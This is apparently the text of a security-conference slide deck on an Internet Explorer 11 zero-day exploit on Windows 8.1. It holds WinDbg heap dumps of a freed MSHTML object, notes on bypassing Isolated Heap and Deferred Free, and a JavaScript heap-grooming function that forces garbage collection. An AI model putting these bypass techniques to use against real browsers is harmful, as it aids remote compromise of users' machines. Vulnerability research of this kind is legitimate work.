5b4a87a0 f6472902      test     byte ptr [edi+29h],2          ds:0023:025e3b91=00
0:006> dd edi
025e3b68  5ace77fc 00000002 00000001 00000008
025e3b78  5ba47058 063d0208 00000000 025e6be0
025e3b88  00000007 00440000 10000000 00040000
025e3b98  025e44a8 5ace77d8 025e3b9c 00000000
025e3ba8  00000000 00000000 00000000 00000000
025e3bb8  00000000 00000000 00000000 00000000
025e3bc8  00000001 00000000 76923531 08006ee7
025e3bd8  5aba3b08 00000001 00000000 00000008
0:006> !heap -p -a edi
    address 025e3b68 found in
    _HEAP @ 25e0000
        HEAP_ENTRY Size Prev Flags      UserPtr UserSize - state
        025e3b60 000e 0000  [00] 025e3b68    00064 - (busy)
            MSHTML!CAreaElement::`vftable'

0:006> u poi(edi)
MSHTML!CAreaElement::`vftable':
5ace77fc f75091      not      dword ptr [eax-6Fh]
5ace77ff 5b           pop      ebx
5ace7800 bd05bf5a8d   mov      ebp,8D5ABF05h
5ace7805 10bf5aac6543 adc     byte ptr [edi+4365AC5Ah],bh
5ace780b 5b           pop      ebx
5ace780c 7165         jno     MSHTML!CAreaElement::`vftable'+0x77 (5ace7873)
5ace780e 43           inc      ebx
5ace780f 5b           pop      ebx
```

Isolated Heap & Deferred Free

- Bypass : Process heap vulnerabilities Oday


```
0:006> dd ecx  
043205b0 11111111 11111111 11111111 11111111  
043205c0 11111111 11111111 11111111 11111111  
043205d0 11111111 11111111 11111111 11111111  
043205e0 11111111 11111111 11111111 11111111  
043205f0 11111111 11111111 11111111 11111111  
04320600 11111111 11111111 11111111 11111111
```

Success?



Isolated Heap & Deferred Free

- July Deferred Free :



Isolated Heap & Deferred Free

- Bypass Deferred Free:
 - Release Element Size > **100000**

```
function release()
{
    CollectGarbage();
    release_array = new Array();
    for(var i=0;i<280;i++)
        release_array[i] = document.createElement("object");
    for(var i=0;i<280;i++)
        release_array[i] = null;
    CollectGarbage();
}
```



IE 11 0day&Windows 8.1 Exploit

- Summary:
 - 1、IntArray exploit
 - 2、Exec Code
 - 3、Write NULL exploit
 - 4、Object array exploit
 - 5、Isolated heap & Deferred free

IE 11 0day&Windows 8.1 Exploit

- 1、IntArray Exploit
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- 8、Q&A

IE 11 0day&Windows 8.1 Exploit

- Q&A

IE 11 0day&Windows 8.1 Exploit

- 感谢我的朋友们：
 - @tombkeeper
 - @ga1ois
 - @bluerust
 - @ClaudXiao
 - @demi6od
 - @Backend
 - 刘永军
 - @coolq1981
 - @TeLeMan

IE 11 0day&Windows 8.1 Exploit

- Thanks!

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